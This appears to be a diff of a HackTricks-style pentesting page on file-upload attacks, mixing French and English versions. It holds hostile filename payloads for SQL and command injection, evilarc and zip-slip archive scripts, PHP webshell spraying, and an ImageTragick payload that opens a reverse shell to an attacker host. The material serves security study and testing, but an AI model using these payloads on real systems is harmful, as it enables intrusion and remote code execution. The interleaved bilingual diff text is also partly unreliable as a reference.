**ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**. -- [**XXE et CORS** contournement avec le téléchargement de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données. -- Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus** -- Vérifiez s'il y a une **limite de taille** lors du téléchargement de fichiers +Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. -Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) : +## From File upload to other vulnerabilities -1. **ASP / ASPX / PHP5 / PHP / PHP3** : Webshell / RCE -2. **SVG** : XSS stocké / SSRF / XXE -3. **GIF** : XSS stocké / SSRF -4. **CSV** : injection CSV -5. **XML** : XXE -6. **AVI** : LFI / SSRF -7. **HTML / JS** : injection HTML / XSS / Open redirect -8. **PNG / JPEG** : attaque par inondation de pixels (DoS) -9. **ZIP** : RCE via LFI / DoS -10. **PDF / PPTX** : SSRF / XXE AVEUGLE +- Définir **filename** sur `../../../tmp/lol.png` et essayer d'obtenir un **path traversal** +- Définir **filename** sur `sleep(10)-- -.jpg` et vous pourrez peut‑être obtenir une **SQL injection** +- Définir **filename** sur `` pour obtenir un **XSS** +- Définir **filename** sur `; sleep 10;` pour tester une **command injection** (more [command injections tricks here](../command-injection.md)) +- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) +- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) +- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** +- Check if there is any **size limit** uploading files + +Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): + +1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE +2. **SVG**: Stored XSS / SSRF / XXE +3. **GIF**: Stored XSS / SSRF +4. **CSV**: CSV injection +5. **XML**: XXE +6. **AVI**: LFI / SSRF +7. **HTML / JS** : HTML injection / XSS / Open redirect +8. **PNG / JPEG**: Pixel flood attack (DoS) +9. **ZIP**: RCE via LFI / DoS +10. **PDF / PPTX**: SSRF / BLIND XXE + +#### Burp Extension -#### Extension Burp {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} -## Octets d'en-tête magiques +## Magic Header Bytes -- **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` -- **JPG** : `"\xff\xd8\xff"` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **JPG**: `"\xff\xd8\xff"` -Référez-vous à [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers. +Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. -## Téléchargement de fichiers Zip/Tar automatiquement décompressés +## Zip/Tar File Automatically decompressed Upload -Si vous pouvez télécharger un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses : +If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: ### Symlink -Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés : +Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Décompression dans différents dossiers +### Décompresser dans des dossiers différents -La création inattendue de fichiers dans des répertoires lors de la décompression est un problème significatif. Malgré les hypothèses initiales selon lesquelles cette configuration pourrait protéger contre l'exécution de commandes au niveau du système d'exploitation via des téléchargements de fichiers malveillants, le support de compression hiérarchique et les capacités de traversée de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires de téléchargement sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée. +La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale que cette configuration pourrait empêcher l'exécution de commandes au niveau du système d'exploitation via des uploads de fichiers malveillants, le support de compression hiérarchique et les capacités de traversal de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de s'échapper des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée. -Un exploit automatisé pour créer de tels fichiers est disponible sur [**evilarc sur GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit : +Un exploit automatisé pour créer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit : ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -De plus, le **truc du symlink avec evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé dans votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son fonctionnement. +De plus, le **symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontrera pas d'erreurs lors de son exécution. -Voici un exemple de code Python utilisé pour créer un fichier zip malveillant : +Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant : ```python #!/usr/bin/python import zipfile @@ -249,11 +255,11 @@ zip.close() create_zip() ``` -**Abuser de la compression pour le file spraying** +**Abuser de la compression pour file spraying** -Pour plus de détails **voir le post original dans** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Pour plus de détails **consultez l'article original** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Création d'un Shell PHP** : Le code PHP est écrit pour exécuter des commandes passées par la variable `$_REQUEST`. +1. **Création d'un PHP Shell**: Le code PHP est écrit pour exécuter des commandes passées via la variable `$_REQUEST`. ```php ``` -2. **File Spraying et création de fichiers compressés** : Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers. +2. **File Spraying and Compressed File Creation**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification avec un éditeur hexadécimal ou vi** : Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires. +3. **Modification avec un éditeur hexadécimal ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, en remplaçant "xxA" par "../" pour traverser les répertoires. ```bash :set modifiable @@ -280,38 +286,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (formez le [exploit](https://www.exploit-db.com/exploits/39767)) +Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (à partir de l'[exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Intégration d'un Shell PHP dans un PNG +## Intégration d'une PHP shell dans un PNG -L'intégration d'un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation. +L'insertion d'une PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes ici, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. Le fait que la PHP shell intégrée reste intacte après ces opérations est un avantage important dans certains cas d'utilisation. -Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications. +Un examen détaillé de cette technique, incluant sa méthodologie et ses applications potentielles, est présenté dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du procédé et de ses implications. -Plus d'informations sur : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Fichiers Polyglottes +## Fichiers polyglottes -Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant comme des caméléons qui peuvent exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette association ; des combinaisons comme GIF et JS ou PPT et JS sont également réalisables. +Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant valablement exister dans plusieurs formats de fichier simultanément. Un exemple intéressant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à ce couplage ; des combinaisons comme GIF et JS ou PPT et JS sont également possibles. -L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement—comme JPEG, GIF ou DOC—pour atténuer le risque posé par des formats potentiellement nuisibles (par exemple, JS, PHP ou fichiers Phar). Cependant, un polyglotte, en se conformant aux critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions. +L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mécanismes de sécurité qui filtrent les fichiers en fonction de leur type. Il est courant dans de nombreuses applications d'autoriser uniquement certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (p. ex. JS, PHP ou Phar). Toutefois, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions. -Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exemple, bien qu'un polyglotte puisse simultanément incarner un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement. +Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse représenter simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre de la politique d'extensions de la plateforme. Si le système est strict quant aux extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload. -Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Télécharger des JSON valides comme s'il s'agissait de PDF +### Uploader des JSON valides comme si c'était un PDF -Comment éviter les détections de type de fichier en téléchargeant un fichier JSON valide même s'il n'est pas autorisé en faisant passer un fichier PDF (techniques de **[cet article de blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) : +Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un fichier PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) : -- **Bibliothèque `mmmagic`** : Tant que les octets magiques `%PDF` sont dans les 1024 premiers octets, c'est valide (obtenir un exemple de l'article) -- **Bibliothèque `pdflib`** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON afin que la bibliothèque pense que c'est un pdf (obtenir un exemple de l'article) -- **Binaire `file`** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas analyser le contenu comme un json et ensuite, à l'intérieur du JSON, mettre la partie initiale d'un vrai PDF et il pensera que c'est un PDF +- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article) +- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la bibliothèque considère que c'est un pdf (voir exemple dans l'article) +- **`file` binary** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu comme du JSON, puis placer à l'intérieur du JSON la première partie d'un vrai PDF et il pensera que c'est un PDF ## Références @@ -322,5 +328,6 @@ Comment éviter les détections de type de fichier en téléchargeant un fichier - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}}